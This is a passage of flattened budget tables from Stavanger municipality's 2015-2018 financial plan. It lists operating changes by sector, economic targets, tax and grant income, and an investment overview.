Storhallen IKS 12 575 11 200 11 100 10 950 10 800 32 Ryfast, planleggingsutgifter 35 000 35 000 20 000 - - 33 Rogaland teater, prosjektmidler sceneskifte 500 1 000 - - - Sum tilskudd regionale prosjekter 209 890 222 800 210 700 193 900 196 900 Beregnet netto driftsramme til disposisjon -5 914 833 -5 728 507 -5 787 743 -5 846 593 -5 855 293 Disponibelt utover 2014-nivå - 186 326 127 090 68 240 59 540 Driftskonsekvenser av investeringer i oppvekst og levekår 34 Lervig sykehjem - 3 000 65 000 65 000 35 Haugåsveien 26/28, bofellesskap psykisk helse, 7 plasser - 4 300 5 200 5 200 36 Krosshaugveien, bofellesskap for autister, 8 plasser - 22 800 22 800 22 800 37 Bjørn Farmannsgate 25, barn med autisme og PUH, 4 plasser - 11 000 11 000 11 000 38 Lassahagen bofellesskap, psykisk helse, 4+6 plasser 3 600 12 500 13 200 13 200 39 Søra Bråde bofellesskap PUH, 16 plasser 11 200 11 200 11 200 11 200 40 Dagsenterplasser, PUH, 15 brukere - - 3 500 7 000 41 Barnehageprosjekter ferdigstillt 2014, helårseffekter 2 000 2 000 2 000 2 000 Sum driftskons. av invest. i oppvekst og levekår 16 800 66 800 133 900 137 400 Driftskonsekvenser av investeringer til kirkelige formål 42 Tjensvoll gravlund, utbygging av driftsbygning, drift og vedlikehold 100 100 100 100 43 Hundvåg gravlund, arealutvidelse 200 200 200 200 Sum driftskonsekvenser av investeringer til kirkelige formål 300 300 300 300 Driftskonsekvenser av investeringer på park og vei 44 Framkommelighet 400 800 1 200 1 600 45 Trafikksikkerhet og miljø 300 600 900 1 200 46 Etterslep vedlikehold park, friområder og aktivitetsanlegg 200 400 600 800 47 Nye anlegg 600 1 200 1 800 2 400 48 Plasser, vei og torg ved Stavanger konserthus IKS 200 400 600 800 Sum driftskonsekvenser av investeringer på park og vei 1 700 3 400 5 100 6 800 Driftskonsekvenser av investering på idrett 49 Kvernevik svømmehall 700 4 250 4 250 4 250 50 Hundvåg svømmehall 2 850 4 250 4 250 4 250 51 Utstillingshall, drift og vedlikeholdsutgifter 400 400 400 400 52 Hetlandshallen, dobbel idrettshall - - - 600 53 Nye Gamlingen - - 1 500 1 500 Sum driftskonsekvenser av investering på idrett 3 950 8 900 10 400 11 000 Driftskonsekvenser av investeringer i Stavanger eiendom 54 Vedlikehold- og renholdsutgifter til nye bygg 20 300 31 100 52 250 59 550 55 Energiutgifter til nye bygg 2 950 5 400 8 800 9 950 Sum Driftskonsekvenser av investeringer i Stavanger eiendom 23 250 36 500 61 050 69 500 Sum netto driftskonsekvenser av investeringer 46 000 115 900 210 750 225 000 SENTRALE OMRÅDER Felles tiltak sentrale områder 56 Innovasjons- og utviklingsmidler 2 500 2 500 2 500 2 500 57 Eksterne husleiekontrakter 3 800 3 850 3 900 3 900 58 Reduksjon i pris og forbruk av energi -3 400 -3 400 -3 400 -3 400 59 Gjenopptakelse av oppreisningsordninger 3 000 3 000 3 000 3 000 60 ENØK-innsparinger -2 000 -4 000 -4 000 -6 000 61 Gevinster ved bruk av IKT-løsninger -2 000 -4 000 -4 000 -4 000 62 Rammeavtaler, økonomiske effekt -4 500 -4 500 -4 500 -4 500 Sum felles tiltak sentrale områder -2 600 -6 550 -6 500 -8 500 Personal og organisasjon 63 Implementering av arbeidsgiverstrategi 1 800 2 400 2 400 2 400 ENDR Reduksjon i implementering av arbeidsgiverstrategi (utsettelse) -1 000 64 Digital arkivdanning -2 000 -2 000 -2 000 -2 000 65 Prosjekt eSak 3 000 3 000 3 000 3 000 66 Offentlige PhD 500 500 500 500 67 Regulering av torgavgift, gratis kopiering mv -500 -500 -500 -500 68 Bemanningsreduksjon -1 000 -1 000 -1 000 -1 000 69 Lærlingeordningen, verdiskapning -3 000 -4 000 -4 000 -4 000 70 Redusere diverse ordninger som rekruttering, stipend mv -2 500 -3 000 -3 000 -3 000 71 Gjennomgang av velferdsordninger, seniorpolitikk, boligtilskuddsordningen, kantinedrift mv. -3 250 -4 500 -4 500 -4 500 72 Effektiviseringskrav -1 900 -1 900 -1 900 -1 900 ENDR Redusert sykefravær "Mandalsmodellen"/vakanser -3 200 -3 200 -3 200 -3 200 Sum personal og organisasjon -13 050 -14 200 -14 200 -14 200 Kommunikasjon 73 Digital innbyggerdialog og sosiale medier 500 500 500 500 74 Klarspråk - tilrettelagt informasjon 300 300 300 300 ENDR Klarspråk - tilrettelagt informasjon utgår -300 -300 -300 -300 75 Effektiviseringskrav -100 -100 -100 -100 Sum kommunikasjon 400 400 400 400 Økonomi 76 Salg av økonomitjenester til andre kommuner og selskap -3 800 -3 800 -3 800 -3 800 77 SK-regnskap, intern omorganisering -1 000 -1 000 -1 000 -1 000 78 Effektiviseringskrav -3 000 -3 000 -3 000 -3 000 Sum økonomi -7 800 -7 800 -7 800 -7 800 Kommuneadvokaten 79 Merkantil ressurs og kjøp av advokattjenester 300 300 300 300 Sum kommuneadvokaten 300 300 300 300 Næring 80 Justert driftsramme inkludert BID-ordning 750 500 500 500 ENDR Innovasjonsmidler 1 000 1 000 1 000 1 000 Sum næring 1 750 1 500 1 500 1 500 Politisk sekreteriat 81 Effektiviseringskrav -200 -200 -200 -200 Sum politisk sekreteriat -200 -200 -200 -200 SUM SENTRALE OMRÅDER -21 200 -26 550 -26 500 -28 500 OPPVEKST OG LEVEKÅR 82 Nye lokaler til Oppvekst og levekårsservice 1 500 1 500 1 500 1 500 83 SLT, reduksjon -500 -500 -500 -500 ENDR Ikke reduksjon, SLT 500 500 500 500 84 Effektiviseringskrav -1 800 -1 800 -1 800 -1 800 Sum stab -300 -300 -300 -300 Budsjettekniske endringer 85 Medfinansiering samhandlingsreform -109 400 -109 400 -109 400 -109 400 Sum budsjettekniske endringer -109 400 -109 400 -109 400 -109 400 Felles tiltak levekår 86 Ressurskrevende tjenester, refusjonsinntekt -4 000 -4 000 -4 000 -4 000 87 Samhandlingsstillinger i hjemmebaserte tjenester, reduksjon -3 900 -3 900 -3 900 -3 900 88 Kommunalstyret levekår, økt ramme reversert -6 700 -6 700 -6 700 -6 700 89 Tilskudd til lag og organisasjoner, reduksjon -700 -700 -700 -700 ENDR Tilskudd til lag og organisasjoner ikke reduksjon 1 000 1 000 1 000 1 000 90 Prosjekt "Ville veier", avsluttes -250 -250 -250 -250 Sum felles tiltak levekår -14 550 -14 550 -14 550 -14 550 Barnehage 91 Pedagogisk bemanning,tilpassing til barnehagelovens krav 6 000 6 000 6 000 6 000 92 Kompetanseheving 500 1 500 2 500 2 500 93 Tilskudd ikke-kommunale barnehager, effekt av ny beregningsmetode - 5 000 -2 000 -6 000 94 Økt foreldrebetaling, endring i satser -13 000 -13 000 -13 000 -13 000 95 Omstilling av området "styrket barnehagetilbud" -4 000 -6 900 -6 900 -6 900 96 Barnepark, familiebhg. og åpne bhg. samt drift av kommunale bhg. i leide bygg, avvikling -3 000 -5 400 -5 400 -5 400 ENDR Barnepark, familiebhg. Og åpne bhg. Opprettholdes 3 000 3 000 3 000 3 000 97 Ledelsesstruktur, administrasjonsressurs, kjøkkenassistentressurs mv, rammereduskjon -10 000 -15 000 -15 000 -15 000 ENDR Barnehage ramme, inkl SBF ikke reduksjon 2 000 2 000 2 000 2 000 98 Tilskudd til SBF-ordningen, barnehage, reduksjon -100 -100 -100 -100 99 Tospråklige assistenter, språktiltak, helsetjenester for flerspråkilge mv -1 100 -2 800 -2 800 -2 800 100 Effektiviseringskrav -3 200 -3 200 -3 200 -3 200 Sum barnehage -22 900 -28 900 -34 900 -38 900 Ressurssenteret for styrket barnehagetilbud 101 Omstilling av området "styrket barnehagetilbud" 4 000 6 900 6 900 6 900 102 Opprettholdelse av aktivitetsnivå i 2014 3 000 100 100 100 103 Psykisk helsestilling, avvikling -350 -750 -750 -750 104 Effektiviseringskrav -250 -250 -250 -250 Sum Ressurssenteret for styrket barnehagetilbud 6 400 6 000 6 000 6 000 Skole og SFO 105 Elevtallsvekst grunnskole 3 600 3 600 3 600 3 600 106 Lenden skole, avslutte leieforhold -850 -1 500 -1 500 -1 500 107 Åmøy skole, inklusive SFO, avvikling -3 000 -3 000 -3 000 -3 000 108 Skoleplasser for elever fra Åmøy 700 700 700 700 109 Stavanger-prosjektet, delfinansiere stilling Universitetet i Stavanger 300 300 - - 110 Skolefritidsordningen, øke prisene -10 400 -15 100 -15 100 -15 100 ENDR SFO Redusert økning i foreldrebetaling 5 500 10 500 10 500 10 500 111 Tastarustå og Teinå skoler, omstillingsmidler trekkes tilbake -1 000 -1 000 -1 000 -1 000 112 Den kulturelle skolesekken, redusert aktivitet og busspenger -1 200 -1 200 -1 200 -1 200 113 Rammereduksjon - skole -47 100 -67 100 -67 100 -67 100 ENDR Økt ramme skole 42 750 42 750 42 750 42 750 114 Redusert reserve – spesialundervisning og minoritetsspråklig undervisning -3 800 -3 800 -3 800 -3 800 ENDR Opprettholde reserve spesialundervisning og minoritetsspråklig 2 000 2 000 2 000 2 000 115 Kurs, kompetanseutvikling, reisestipend mv, redusert tilbud -3 000 -3 000 -3 000 -3 000 ENDR Delvis opprettholde kurs, kompentanseutvikling, reisestipend 2 000 2 000 2 000 2 000 116 «Grønt flagg»-ordning, internasjonalt skolesamarbeid, realfagssatsing på Oljemuseet -600 -1 400 -1 400 -1 400 117 Driftsstyreordningen, reduksjon -300 -300 -300 -300 118 Kommunalt foreldreutvalg, reduksjon i tilskudd -250 -250 -250 -250 ENDR Opprettholde tilskudd til kommunalt foreldreutvalg 250 250 250 250 119 Kommunalstyret oppvekst, reversere økt ramme -9 250 -10 750 -10 750 -10 750 120 Brukerundersøkelser, reduksjon -200 -200 -200 -200 121 Lenden, rammereduksjon -3 000 -3 000 -3 000 -3 000 ENDR PPT/Lenden, ikke redusert ramme 3 000 3 000 3 000 3 000 122 Effektiviseringskrav -5 500 -5 500 -5 500 -5 500 Sum skole og sfo -29 350 -52 000 -52 300 -52 300 Johannes læringssenter 123 Husleie nye lokaler Haugesundsg 27 og 30 4 800 6 100 6 100 6 100 124 Introduksjonsstønad, aktivitet på 2014-nivå 4 500 4 500 4 500 4 500 125 Johannes læringssenter, rammereduksjon -2 500 -2 500 -2 500 -2 500 126 Effektiviseringskrav -500 -500 -500 -500 Sum Johannes læringssenter 6 300 7 600 7 600 7 600 Kulturskolen 127 Kulturskoletimen i SFO/skole, avvikling -1 800 -1 800 -1 800 -1 800 128 Kontingentøkning -450 -450 -450 -450 129 Kulturskolen, rammereduksjon -350 -350 -350 -350 130 Effektiviseringskrav -200 -200 -200 -200 Sum Kulturskolen -2 800 -2 800 -2 800 -2 800 PPT 131 PPT, rammereduksjon -2 400 -2 400 -2 400 -2 400 132 Effektiviseringskrav -150 -150 -150 -150 Sum PPT -2 550 -2 550 -2 550 -2 550 Ungdom og fritid 133 Ungdomsundersøkelsen - 500 - - 134 Uteseksjonen, redusert drift -1 000 -1 000 -1 000 -1 000 ENDR Uteseksjonen, ikke redusert drift 1 000 1 000 1 000 1 000 135 Fritidsklubb/bydelhus, redusert drift -1 000 -1 000 -1 000 -1 000 136 Barn og ungdomssekretærer, redusert tilskuddnivå -500 -500 -500 -500 137 Effektiviseringskrav -200 -200 -200 -200 Sum Ungdom og fritid -1 700 -1 200 -1 700 -1 700 Helsestasjon og Skolehelsetjeneste 138 Legetjeneste, reduksjon -500 -500 -500 -500 139 HERO, avvikling -1 100 -1 100 -1 100 -1 100 140 Effektiviseringskrav -250 -250 -250 -250 Sum Helsestasjon og Skolehelsetjeneste -1 850 -1 850 -1 850 -1 850 Barnevern 141 Fosterhjemsutgifter, økte satser og økt volum 4 000 4 000 4 000 4 000 142 Økt kommunal egenandel, barnevernsinstitusjon 4 200 4 200 4 200 4 200 143 Rammereduksjon barnevern (stab) -1 500 -1 500 -1 500 -1 500 144 Effektiviseringskrav -350 -350 -350 -350 Sum barnevern 6 350 6 350 6 350 6 350 Embo 145 Redusert bemanning -200 -200 -200 -200 Sum Embo -200 -200 -200 -200 Helse- og sosialkontor 146 Omfattende pleiebehov 3 000 3 000 3 000 3 000 147 TAFU, prosjektmidler utgår -550 -550 -550 -550 148 Redusert bemanning og effektiviseringskrav -3 050 -3 050 -3 050 -3 050 Sum helse- og sosialkontor -600 -600 -600 -600 NAV-kontorene 149 Sosialhjelp 20 000 20 000 20 000 20 000 150 Redusere bemanningen - -1 400 -1 400 -1 400 151 Effektiviseringskrav -200 -200 -200 -200 Sum NAV-kontorene 19 800 18 400 18 400 18 400 Hjemmebaserte tjenester 152 Økt eksternhusleie og innføring av arbeidstøy HBT 2 750 4 250 4 250 4 250 153 Samlokalisering av Madla og Tjensvoll hjemmebaserte tjenester 250 750 750 750 154 Rammereduksjon - hjemmebaserte tjenester -10 000 -10 000 -10 000 -10 000 155 St Svithun bofellesskap, avvikling - -4 200 -4 200 -4 200 156 HERO, avvikling -300 -300 -300 -300 157 Prosjekt "miljøterapeut rus", avvikling av kommunal finansiering -1 400 -1 400 -1 400 -1 400 158 Effektiviseringskrav -3 200 -3 200 -3 200 -3 200 Sum hjemmebaserte tjenester -11 900 -14 100 -14 100 -14 100 Alders- og sykehjem 159 Husleieavtale, private ideelle sykehjem 300 600 600 600 160 Alders Hvile, driftsavtale 1 500 1 500 1 500 1 500 161 Boganes sykehjem, prisjustering 3 200 3 350 3 350 3 350 162 Tilskudd til studie av alternativ til sykehjemsdrift - Domkirken 50 50 50 50 163 Trygghetsavdeling, Vålandstunet sykehjem, avvikling -1 800 -2 700 -2 700 -2 700 ENDR Ikke avvikle trygghetsavdeling på Vålandstunet før i 2017 1 800 2 700 164 Mosheim sykehjem, avvikling -13 000 -26 000 -26 000 -26 000 ENDR Utsette avvikling av Mosheim sykehjem til 2017 13 000 26 000 165 Boganes sykehjem, reversere planlagte dagsenterplasser -1 500 -1 500 -1 500 -1 500 166 Øke antall øyeblikkelig hjelpssenger og redusere overgangsplasser, jf Tertial 30.04.2014 -4 500 -4 500 -4 500 -4 500 167 Rehabiliteringsplasser i Spania, avvikling - - -6 000 -6 000 168 Vålandstunet sykehjem, avvikling -10 000 -21 000 -21 000 -21 000 ENDR Utsette avvikling av Vålandstunet sykehjem til 2017 10 000 21 000 169 Effektiviseringskrav -3 050 -3 050 -3 050 -3 050 Sum alders- og sykehjem -4 000 -3 550 -59 250 -59 250 Rehabiliteringsseksjonen 170 Redusere ressurser i botiltak -1 000 -1 000 -1 000 -1 000 171 LAR, medisinutlevering, helsestasjon, reduksjon -3 100 -3 100 -3 100 -3 100 172 Effektiviseringskrav -200 -200 -200 -200 Sum Rehabiliteringsseksjonen -4 300 -4 300 -4 300 -4 300 Dagsenter og avlastningsseksjonen 173 PU-brukere dagsenter, 15 plasser 3 500 3 500 3 500 3 500 174 Ressurskrevende brukere avlastning 3 000 3 000 3 000 3 000 175 Avvikle ferieturer for funksjonshemmede -1 000 -1 000 -1 000 -1 000 176 Redusere antall plasser i avlastningsboligene -4 500 -7 500 -7 500 -7 500 ENDR Opprettholde antall plasser i avlastningsboligene 4 500 7 500 7 500 7 500 177 Effektiviseringskrav -600 -600 -600 -600 Sum dagsenter og avlastningsseksjonen 4 900 4 900 4 900 4 900 Krisesenteret 178 Økt tilskudd i tråd med samarbeidsavtalen mellom kommunene 300 300 300 300 Sum Krisesenteret 300 300 300 300 Fysio- og ergoterapitjenesten 179 Redusere aktiviteten ved Fysio- og ergoterapitjenesten -1 400 -1 400 -1 400 -1 400 180 Effektiviseringskrav -200 -200 -200 -200 Sum fysio- og ergoterapitjenesten -1 600 -1 600 -1 600 -1 600 Arbeidstreningsseksjonen 181 Redusere aktiviteten -450 -450 -450 -450 Sum arbeidstreningsseksjonen -450 -450 -450 -450 Helsehuset i Stavanger 182 Stavanger lokalmedisinske senter -500 -500 -500 -500 183 Leve HELE LIVET 1 000 2 000 3 000 3 000 Sum Helsehuset i Stavanger 500 1 500 2 500 2 500 Stavanger legevakt 184 Initiativ til interkommunalt samarbeid ved smittevernkontoret -500 -500 -500 -500 185 Samarbeidsavtale Sola og Randaberg, merinntekt -2 400 -2 400 -2 400 -2 400 186 Effektiviseringskrav -200 -200 -200 -200 Sum Stavanger legevakt -3 100 -3 100 -3 100 -3 100 Samfunnsmedisin 187 Tilskudd fastleger som følge av befolkningsvekst, økning 1 000 2 000 3 000 3 000 188 Sykehjemslegevakt, reduksjon -250 -250 -250 -250 189 Utviklingsarbeid fastlegetjenesten, reduksjon -250 -250 -250 -250 Sum samfunnsmedisin 500 1 500 2 500 2 500 SUM OPPVEKST OG LEVEKÅR -166 500 -194 900 -255 400 -259 400 KULTUR OG BYUTVIKLING Kultur 190 Opera Rogaland IKS, driftstilskudd - - 50 150 191 MUST prosjektleder utv. Prosjekter, egnethetsanalyse, redusert driftstilskudd -500 -950 -950 -950 192 Ny driftsavtale med Tou Scene 600 600 600 600 193 Økt tilskudd til kulturinstitusjoner, statlig del-finansiert 2 150 2 150 2 150 2 150 194 Kunstforeningen, tilbakeføring av tilskudd 860 860 860 860 195 Sølvberget KF, økt tilskudd 1 650 1 650 1 450 1 450 196 Redusere tilskudd til kulturformål -1 000 -1 000 -1 000 -1 000 197 Effektiviseringskrav -600 -150 -150 -150 Sum kultur 3 160 3 160 3 010 3 110 Byggesak 198 Digitalisering av byggesaksarkiv - endret fremdrift - 7 500 10 000 - Sum byggesak - 7 500 10 000 - Geodata 199 Eiendomsskatt, omtaksering 500 - - - Sum Geodata 500 - - - Planavdelinger 200 Effektiviseringskrav -2 100 -2 100 -2 100 -2 100 Sum planavdelinger -2 100 -2 100 -2 100 -2 100 SUM KULTUR OG BYUTVIKLING 1 560 8 560 10 910 1 010 BYMILJØ OG UTBYGGING Felles tiltak bymiljø og utbygging 201 Effektiviseringskrav stab BMU -100 -100 -100 -100 Sum felles tiltak bymiljø og utbygging -100 -100 -100 -100 Miljø 202 Forurenset Sjøbunn 500 500 500 500 203 Justering av prosjektene "Endring av reisevaner" og "Miljøsøndag" -400 -400 -400 -400 204 Effektiviseringskrav -100 -100 -100 -100 Sum miljø - - - - Utbygging og juridisk 205 Lysefjorden utvikling Urban sjøfront 850 850 850 850 206 Leieinntekter, utbyggingsavdelingen -7 800 -7 500 -7 500 -7 500 207 Effektiviseringskrav -100 -100 -100 -100 Sum utbygging og juridisk -7 050 -6 750 -6 750 -6 750 Park og vei 208 Biologisk mangfold 250 500 750 1 000 209 Ny drifts- og vedlikeholdsavtale med Lyse 100 200 300 400 210 Vedlikeholdsetterslep uteområder, kommunale bygg 250 250 250 250 211 Økt tilskudd til friluftsområdene, Attende, Arboreet 350 450 600 750 212 Uteservering, økt avgift -500 -500 -500 -500 213 Småbåthavner, økte leieinntekter -500 -500 -500 -500 214 Rammereduksjon park og vei -400 -400 -400 -400 215 Vedlikehold gater og veier, økt rensing av gatesluk, reduksjon -2 050 -2 050 -2 050 -2 050 216 Drift og vedlikehold sentrum, reduksjon -1 800 -1 800 -1 800 -1 800 217 Vedlikehold parker, friområder og utendørs idrettsanlegg, reduksjon -4 250 -4 250 -4 250 -4 250 ENDR Vedlikehold parker, friområder og utendørs idrettsanlegg redusert reduksjon 700 700 700 700 218 Sommerblomster, julebelysning, reduksjon -350 -350 -350 -350 219 Bidrag fra vertskommune under festival, reduksjon -1 200 -700 -1 200 -700 220 Tilskuddet til private lekeplasser, avvikling -450 -450 -450 -450 221 Effektiviseringskrav -950 -950 -950 -950 Sum park og vei -10 800 -9 850 -9 850 -8 850 Idrett 222 Leie og driftsutgifter for bruk av areal i idrettshaller/utstillingshaller 8 300 10 800 10 800 10 800 223 Leieinntekter ONS, utgår i 2015 og 2017 1 050 - 1 050 - 224 Billettpriser Kvernevik og Hundvåg svømmehall, volumøkning, -1 200 -1 500 -1 500 -1 500 225 Billettpriser i svømmehallene, økning -500 -1 000 -1 500 -2 000 226 Beach volleyball World Tour Stavanger 2014-2016 - - -2 500 -2 500 227 Leieinntekter, OTD -700 - -700 - 228 Gamlingen, stenges fom september 2015 -750 -750 -750 -750 229 Redusert forbruk på andre driftsutgifter -1 650 -1 650 -1 650 -1 650 230 Renhold garderober, materiellkjøp, morgentrening, sommerstenging m.v. (NIS), reduksjon -1 950 -1 950 -1 950 -1 950 231 Reduserte utbetalinger på større idrettsarrangement -700 -700 -700 -700 232 Tilskudd til idretten (drift av Idrettsrådet), reduksjon -350 -350 -350 -350 ENDR Drift av idrettsrådet 170 170 170 170 233 Anleggstilskudd, reduksjon -350 -350 -350 -350 ENDR Anleggstilskudd, redusert reduksjon 230 230 230 230 234 Driftstilskudd til idrettslag, reduksjon -900 -900 -900 -900 ENDR Ikke reduksjon i driftstilskudd til idrettslag 900 900 900 900 235 Effektiviseringskrav -150 -150 -150 -150 ENDR Integrering i idretten 200 200 200 200 Sum idrett 1 650 3 000 350 -500 Stavanger eiendom 236 Forsikring bygg 1 200 1 400 1 600 1 800 237 Volumøkning, bofellesskap og omsorgsboliger, husleieøkning -1 900 -5 500 -5 950 -5 950 238 Strøm nødaggregat, private ideelle sykehjem 4 500 - - - 239 Kommunale boliger, effekt av tidligere års regulering av husleie -5 000 -5 000 -5 000 -5 000 240 Tilskudd til presteboliger -1 000 -1 000 -1 000 -1 000 241 Vedlikehold for administrasjons- og formålsbygg, reduksjon -23 950 -3 050 21 950 31 950 242 Forsvarsbygg, bortfall av leieutgifter -1 300 -1 300 -1 300 -1 300 243 Teknisk drift Forus, generell reduksjon -1 000 -1 000 -1 000 -1 000 244 Effektiviseringskrav -950 -950 -950 -950 Sum Stavanger eiendom -29 400 -16 400 8 350 18 550 Vannverket 245 Fastledd, IVAR 1 222 3 460 8 696 15 547 246 Mengdevariabelt ledd, IVAR 2 044 3 962 10 192 18 109 247 Bemanningsøkning iht. hovedplan 350 700 1 050 1 400 248 Driftsutgifter/generell prisstigning 2 907 3 582 4 271 4 973 249 Avskrivninger 950 2 013 2 913 3 813 250 Renter restkapital 1 923 2 484 2 926 3 344 251 Bruk/avsetning til selvkostfond -4 666 -2 403 5 597 5 597 252 Gebyrer/gebyrøkning -4 730 -13 798 -35 645 -52 783 Sum Vannverket - - - - Avløpsverket 253 Fastledd, IVAR 1 403 3 841 4 562 5 731 254 Mengdevariabelt ledd, IVAR 1 740 5 510 5 800 6 670 255 Bemanningsøkning iht. hovedplan 350 700 1 050 1 400 256 Driftsutgifter/generell prisstigning 4 127 4 874 5 635 6 412 257 Avskrivninger 1 665 3 110 4 448 5 786 258 Renter restkapital 3 092 3 124 3 501 3 843 259 Gebyrer/gebyrøkning -12 863 -21 159 -24 996 -29 842 Sum Avløpsverket -486 - - - Renovasjon 260 Økt leveringsgebyr og mengde til IVAR 1 905 3 267 4 663 6 095 261 Renovasjonen IKS og Norsk gjenvinning, volumøkning 2 410 4 308 6 280 8 278 262 Kalkulerte finanskostnader 117 -63 -255 -440 263 Generell prisstigning innkjøpte varer og tjenester 1 023 1 825 2 503 2 062 264 Gebyrer/generell gebyrøkning -3 572 -8 005 -11 480 -14 605 265 Bruk av bundet fond -1 883 -1 332 -1 711 -1 390 Sum renovasjon - - - - SUM BYMILJØ OG UTBYGGING -46 186 -30 100 -8 000 2 350 Sum endringer på sektorene -232 326 -242 990 -278 990 -284 540 Sum netto driftskonsekvenser investeringer og endringer på sektorene -186 326 -127 090 -68 240 -59 540 BUDSJETTBALANSE - - - -
Last ned tabelldata (Excel)
Økonomiske mål 2015 2016 2017 2018 Snitt
2015-2018 Mål Netto driftsresultat i prosent av driftsinntektene 1,2 % 2,1 % 2,7 % 3,7 % 2,4 % 3,0 % Investeringer, andel egenfinansiering 55 % 40 % 90 % 73 % 65 % > 50 % Gjeldsgrad, brutto lånegjeld (ekskl. startlån) i prosent av driftsinntektene 62 % 65 % 61 % 59 % 62 % < 60 %
Last ned tabelldata (Excel)
Skatt og rammetilskudd
(hele tusen kroner)Vedtatt budsjett 2015 Vedtatt budsjett 2016 Vedtatt budsjett 2017 Vedtatt budsjett 2018 Formue- og inntektsskatt −4 989 800 −5 084 800 −5 143 000 −5 218 800 Vekst fra året før 4,6 % 1,9 % 1,1 % 1,5 % % av landsgjennomsnittet 142,9 % 143,8 % 143,3 % 143,3 % Antall innbyggere 01.01.xx 132 481 134 438 136 570 138 752 Gjennomsnittlig skatt per innbygger i Stavanger 37 664 37 823 37 658 37 612 Gjennomsnittlig skatt per innbygger på landsbasis 26 348 26 309 26 271 26 239 Diff. Stavanger og landsgj.snittet 11 316 11 514 11 387 11 373 Rammetilskudd: Innbyggertilskudd (likt beløp pr innb) −2 945 721 −2 994 530 −3 034 200 −3 074 233 Utgiftsutjevning 460 969 471 832 482 107 492 510 INGAR 8 329 Saker med særskilt fordeling -9 975 −9 975 −9 975 −9 975 Storbytilskudd -47 202 −47 827 −48 532 −49 302 Tapskompensasjon skjønn -27 400 −27 400 −27 400 −27 400 Ekstra skjønn tildelt Saldering NB /RNB Sum rammetilsk. ekskl inntektsutj. -2 561 000 -2 607 900 -2 638 000 -2 668 400 Inntektsutjevning 954 700 967 400 981 300 995 900 Sum rammetilskudd etter inntektsutjevning -1 606 300 -1 640 500 -1 656 700 -1 672 500 Sum frie inntekter (skatt og rammetsilkuddet) avrundet -6 596 100 -6 725 300 -6 799 700 -6 891 300 Sum endring i % 2,7 % 2,0 % 1,1 % 1,3 %
Last ned tabelldata (Excel)
Hovedoversikt - investering Regnskap 2013 Budsjett 2014 Budsjett 2015 Budsjett 2016 Budsjett 2017 Budsjett 2018 Inntekter Salg av driftsmidler og fast eiendom 147 644 139 400 341 600 52 500 2 800 59 000 Andre salgsinntekter 1 995 - - - 0 0 Overføringer med krav til motytelse −5 671 145 248 153 600 140 400 90 700 94 400 Statlige overføringer 10 150 52 560 38 400 34 500 284 300 32 900 Andre overføringer 3 975 72 000 - - 0 0 Renteinntekter og utbytte 75 000 - - - 0 0 Sum inntekter 233 093 409 208 533 600 227 400 377 800 186 300 Utgifter Lønnsutgifter 29 110 31 168 - - 0 0 Sosiale utgifter 6 660 7 172 - - 0 0 Kjøp av varer og tj som inngår i tj.produksjon 1 139 138 1 254 777 1 272 749 1 155 400 737 100 765 900 Kjøp av tjenester som erstatter tj.produksjon 31 050 - - - 0 0 Overføringer 143 425 377 −500 −500 2 100 2 800 Renteutgifter og omkostninger 36 - - - 0 0 Fordelte utgifter -167 674 -85 462 - - 0 0 Sum utgifter 1 181 747 1 208 032 1 272 249 1 154 900 739 200 768 700 Finanstransaksjoner Avdrag på lån 158 721 96 571 95 000 95 000 95 000 95 000 Utlån 354 256 357 600 364 850 350 000 350 000 350 000 Kjøp av aksjer og andeler 14 706 13 600 15 100 16 100 17 100 18 100 Dekning av tidligere års udekket 42 372 76 625 - - 0 0 Avsatt til ubundne investeringsfond - 101 585 - - 0 0 Avsatt til bundne investeringsfond 36 260 36 000 - - 0 0 Avsatt til likviditetsreserve - - - - 0 0 Sum finansieringstransaksjoner 606 316 681 981 474 950 461 100 462 100 463 100 Finansieringsbehov 1 554 969 1 480 805 1 213 599 1 388 600 823 500 1 045 500 Dekket slik: Bruk av lån 1 017 623 1 223 752 945 529 1 048 412 427 393 560 078 Salg av aksjer og andeler 23 285 - - - 0 0 Mottatte avdrag på utlån 212 216 140 171 138 600 138 600 138 600 138 600 Overført fra driftsbudsjettet 143 418 1 197 119 420 200 688 257 507 346 822 Bruk av tidligere års udisponert - - - - 0 0 Bruk av disposisjonsfond 33 766 - - - 0 0 Bruk av bundne driftsfond - - - - 0 0 Bruk av ubundne investeringsfond - 79 685 10 050 900 0 0 Bruk av bundne investeringsfond 48 037 36 000 - - 0 0 Bruk av likviditetsreserve - - - - 0 0 Sum finansiering 1 478 344 1 480 805 1 213 599 1 388 600 823 500 1 045 500 Udekket/udisponert -76 625 - - - - -
Last ned tabelldata (Excel)
Budsjettskjema 2A – investering Regnskap 2013 Budsjett 2014 Budsjett 2015 Budsjett 2016 Budsjett 2017 Budsjett 2018 Investeringer i anleggsmidler 1 181 747 1 208 032 1 272 249 1 154 900 739200 768700 Utlån og forskutteringer 368 962 371 200 379 950 366 100 367100 368100 Avdrag på lån 158 721 96 571 95 000 95 000 95000 95000 Dekning av tidligere års udekket 42 372 76 625 - - 0 0 Avsetninger 36 260 137 585 - - 0 0 Årets finansieringsbehov 1 788 062 1 890 013 1 747 199 1 616 000 1 201 300 1 231 800 Finansiert slik: Bruk av lånemidler 1 017 623 1 223 752 945 529 1 048 412 427 393 560 078 Inntekter fra salg av anleggsmidler 170 929 139 400 341 600 52 500 2 800 59 000 Tilskudd til investeringer 14 125 124 560 38 400 34 500 284 300 32 900 Mottatte avdrag på utlån og refusjoner 206 545 285 419 292 200 279 000 229 300 233 000 Andre inntekter 76 995 - - - - - Sum ekstern finansiering 1 486 217 1 773 131 1 617 729 1 414 412 943 793 884 978 Overført fra driftsbudsjettet 143 418 1 197 119 420 200 688 257 507 346 822 Bruk av avsetninger 81 803 115 685 10 050 900 - - Sum finansiering 1 711 438 1 890 013 1 747 199 1 616 000 1 201 300 1 231 800 Udekket/udisponert 76 625 - - - - -
Last ned tabelldata (Excel)
INVESTERINGSTABELL 2015-2018 | Total prosjektkostnad | Budsjett til og med 2014 | 2015 | 2016 | 2017 | 2018 | |
---|---|---|---|---|---|---|---|
DIVERSE BYGG OG ANLEGG | |||||||
1 | Nye Tou, 1. byggetrinn (ferdig 2016) | 84 100 | 72 600 | 14 000 | 10 800 | ||
2 | Holmeegenes, rehabilitering (ferdig 2015) | 22 000 | 11 000 | 1 200 | |||
3 | Kulvert over motorvei, inkl.prosjektering (ferdig 2016) | 141 000 | 8 600 | 63 200 | 77 300 | ||
4 | Administrasjonsbygg, utbedring | 3 000 | 3 000 | 3 000 | 3 000 | ||
5 | Energitiltak i kommunale bygg | 55 000 | 17 000 | 19 000 | 19 000 | ||
